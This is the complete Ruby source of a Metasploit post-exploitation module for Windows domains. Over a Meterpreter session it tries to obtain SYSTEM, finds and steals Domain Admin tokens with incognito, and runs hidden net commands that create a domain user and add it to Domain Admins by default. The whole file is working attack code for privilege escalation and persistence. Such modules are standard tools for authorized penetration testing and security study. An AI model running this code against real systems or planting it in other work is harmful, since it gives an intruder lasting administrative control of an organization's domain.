## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv def initialize(info={}) super( update_info( info, 'Name' => 'Windows Manage Add User to the Domain and/or to a Domain Group', 'Description' => %q{ This module adds a user to the Domain and/or to a Domain group. It will check if sufficient privileges are present for certain actions and run getprivs for system. If you elevated privs to system,the SeAssignPrimaryTokenPrivilege will not be assigned. You need to migrate to a process that is running as system. If you don't have privs, this script exits. }, 'License' => MSF_LICENSE, 'Author' => 'Joshua Abraham ', 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ] )) register_options( [ OptString.new('USERNAME', [true, 'Username to add to the Domain or Domain Group', '']), OptString.new('PASSWORD', [false, 'Password of the user (only required to add a user to the domain)', '']), OptString.new('GROUP', [true, 'Domain Group to add the user into.', 'Domain Admins']), OptBool.new('ADDTOGROUP', [true, 'Add user into Domain Group', false]), OptBool.new('ADDTODOMAIN', [true, 'Add user to the Domain', true]), OptString.new('TOKEN', [false, 'Username or PID of the Token which will be used. If blank, Domain Admin Tokens will be enumerated. (Username doesnt require a Domain)', '']), OptBool.new('GETSYSTEM', [true, 'Attempt to get SYSTEM privilege on the target host.', true]) ], self.class) end def get_system print_status("Trying to get SYSTEM privileges") results = session.priv.getsystem if results[0] print_good("Got SYSTEM privileges") else print_error("Could not obtain SYSTEM privileges") end end def priv_check if is_system? privs = session.sys.config.getprivs if privs.include?("SeAssignPrimaryTokenPrivilege") and privs.include?("SeIncreaseQuotaPrivilege") return true else return false end elsif is_admin? return true else return false end end ## steal domain admin token ## return code: bool def steal_token(domain_user,domain) if session.sys.config.getuid() == domain_user or domain_user == '' return true end ## load incognito if(! session.incognito) session.core.use("incognito") end if(! session.incognito) print_status("!! Failed to load incognito on #{session.sid} / #{session.session_host}") return false end ## verify domain_user contains a domain if domain_user !~ /\\/ domain_user = "#{domain}\\#{domain_user}" else domain_user = '' end ## token is a PID target_pid = '' if (datastore['TOKEN'] =~ /^\d+$/) pid = datastore['TOKEN'] session.sys.process.get_processes().sort_by { rand }.each do |x| if ( pid == x['pid']) target_pid = pid end end ## token is a Domain User else session.sys.process.get_processes().sort_by { rand }.each do |x| if ( x['user'] == domain_user and target_pid == '') target_pid = x['pid'] print_status("Found token for #{domain_user}") end end end if target_pid != '' # Do the migration print_status("Stealing token of process ID #{target_pid}") res = session.sys.config.steal_token(target_pid) if domain_user != '' domain_user = session.sys.config.getuid() else print_status("Stealing token of process ID #{target_pid}") res = session.sys.config.steal_token(target_pid) if domain_user != '' domain_user = session.sys.config.getuid() end end if session.sys.config.getuid() != domain_user print_error "Steal Token Failed (running as: #{session.sys.config.getuid()})" return false end else print_status("No process tokens found.") if (domain_user != '') vprint_status("Trying impersonate_token technique...") res = session.incognito.incognito_impersonate_token(domain_user) else return false end end return true end ## enumerate if the session has a domain admin token on it ## Return: token_found,token_user,current_user; otherwise false def token_hunter(domain) ## gather data usr_res = run_cmd("net groups \"Domain Admins\" /domain",false) domain_admins = get_members(usr_res.split("\n")) ## Make sure we meet the requirements before running the module if not priv_check print_error("Abort! Did not pass the priv check") return false end ## load incognito if(! session.incognito) session.core.use("incognito") end if(! session.incognito) print_error("!! Failed to load incognito on #{session.sid} / #{session.session_host}") return false end domain_admins.each do |da_user| ## current user if "#{domain}\\#{da_user}" == session.sys.config.getuid() print_good "Found Domain Admin Token: #{session.sid} - #{session.session_host} - #{da_user} (Current User)" return true,'',true end ## parse delegation tokens res = session.incognito.incognito_list_tokens(0) if res res["delegation"].split("\n").each do |user| ndom,nusr = user.split("\\") if not nusr nusr = ndom ndom = nil end if ndom == domain and da_user == nusr sid = session.sid peer = session.session_host print_good("Found Domain Admin Token: #{sid} - #{peer} - #{nusr} (Delegation Token)") return true,nusr,false end end end ## parse process list session.sys.process.get_processes().each do |x| if ( x['user'] == "#{domain}\\#{da_user}") target_pid = x['pid'] sid = session.sid peer = session.session_host report_note( :host => session, :type => 'domain.token.pid', :data => { :pid=>target_pid, :sid=>sid, :peer=>peer, :user=>da_user }, :update => :unique_data ) print_good("Found Domain Admin Token: #{sid} - #{peer} - #{da_user} (PID: #{target_pid})") return true ,da_user, false end end end return false end # Run Method for when run command is issued def run print_status("Running module on #{sysinfo['Computer']}") ## get system, if requested if (session.sys.config.getuid() !~ /SYSTEM/ and datastore['GETSYSTEM']) get_system end ## enum domain domain = get_domain() if domain.nil? return end ## steal token if neccessary if datastore['TOKEN'] == '' token_found, token_user, current_user = token_hunter(domain) if token_found && current_user == false datastore['TOKEN'] = token_user end end ## steal token steal_token_res = steal_token(datastore['TOKEN'],domain) return if steal_token_res == false ## verify not running as SYSTEM if (session.sys.config.getuid() =~ /SYSTEM/) print_error("Stealing a Token failed! Still running as SYSTEM") return else print_status("Now executing commands as #{session.sys.config.getuid()}" ) end already_user = false already_member_group = false ## Add user to the domain if datastore['ADDTODOMAIN'] user_add_res = run_cmd("net user \"#{datastore['USERNAME']}\" /domain",false) if (user_add_res =~ /The command completed successfully/ and user_add_res =~ /Domain Users/) print_status("#{datastore['USERNAME']} is already a member of the #{domain} domain") already_user = true else cmd = "net user \"#{datastore['USERNAME']}\" \"#{datastore['PASSWORD']}\" /domain /add" print_status("Adding '#{datastore['USERNAME']}' as a user to the #{domain} domain") add_user_to_domain_res = run_cmd(cmd) end end ## Add user to a domain group if datastore['ADDTOGROUP'] ## check if user is already a member of the group group_add_res = run_cmd("net groups \"#{datastore['GROUP']}\" /domain",false) # Parse Returned data members = get_members(group_add_res.split("\n")) # Show results if we have any, Error if we don't if ! members.empty? members.each do |user| if (user == "#{datastore['USERNAME']}") print_status("#{datastore['USERNAME']} is already a member of the '#{datastore['GROUP']}' group") already_member_group = true end end if already_member_group == false print_status("Adding '#{datastore['USERNAME']}' to the '#{datastore['GROUP']}' Domain Group") cmd = "net group \"#{datastore['GROUP']}\" \"#{datastore['USERNAME']}\" /domain /add" add_user_to_group_res = run_cmd(cmd) end end end ## drop token if (datastore['TOKEN'] != '') res = session.sys.config.drop_token end ## verify user was added to domain or domain group if datastore['ADDTOGROUP'] if already_member_group == false net_groups_res = run_cmd("net groups \"#{datastore['GROUP']}\" /domain",false) # Parse Returned data members = get_members(net_groups_res.split("\n")) # Show results if we have any, Error if we don't if ! members.empty? members.each do |user| if (user == "#{datastore['USERNAME']}") print_good("#{datastore['USERNAME']} is now a member of the '#{datastore['GROUP']}' group!") return end end print_error("Error adding '#{datastore['USERNAME']}' to the '#{datastore['GROUP']}' group") return else print_error("No members found for #{datastore['GROUP']}") end end else if already_user == false net_user_res = run_cmd("net user \"#{datastore['USERNAME']}\" /domain",false) if (net_user_res =~ /The command completed successfully/ and net_user_res =~ /Domain Users/) print_good("#{datastore['USERNAME']} is now a member of the #{domain} domain!") else print_error("Error adding '#{datastore['USERNAME']}' to the domain. Check the password complexity.") end end end end def get_members(results) members = [] # Usernames start somewhere around line 6 results = results.slice(6, results.length) # Get group members from the output results.each do |line| line.split(" ").compact.each do |user| next if user.strip == "" next if user =~ /-----/ next if user =~ /The command completed successfully/ members << user.strip end end return members end ## get value from registry key def reg_getvaldata(key,valname) value = nil begin root_key, base_key = client.sys.registry.splitkey(key) open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ) v = open_key.query_value(valname) value = v.data open_key.close end return value end ## return primary domain from the registry def get_domain() domain = nil begin subkey = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History" v_name = "DCName" dom_info = reg_getvaldata(subkey, v_name) if not dom_info.nil? and dom_info =~ /\./ foo = dom_info.split('.') domain = foo[1].upcase else print_error("Error parsing output from the registry. (#{dom_info})") end rescue print_error("This host is not part of a domain.") end return domain end ## execute cmd and return the response ## is required since we need to use the 'UseThreadToken' hash def run_cmd(cmd,token=true) opts = {'Hidden' => true, 'Channelized' => true, 'UseThreadToken' => token} process = session.sys.process.execute(cmd, nil, opts) res = "" while (d = process.channel.read) break if d == "" res << d end process.channel.close process.close return res end end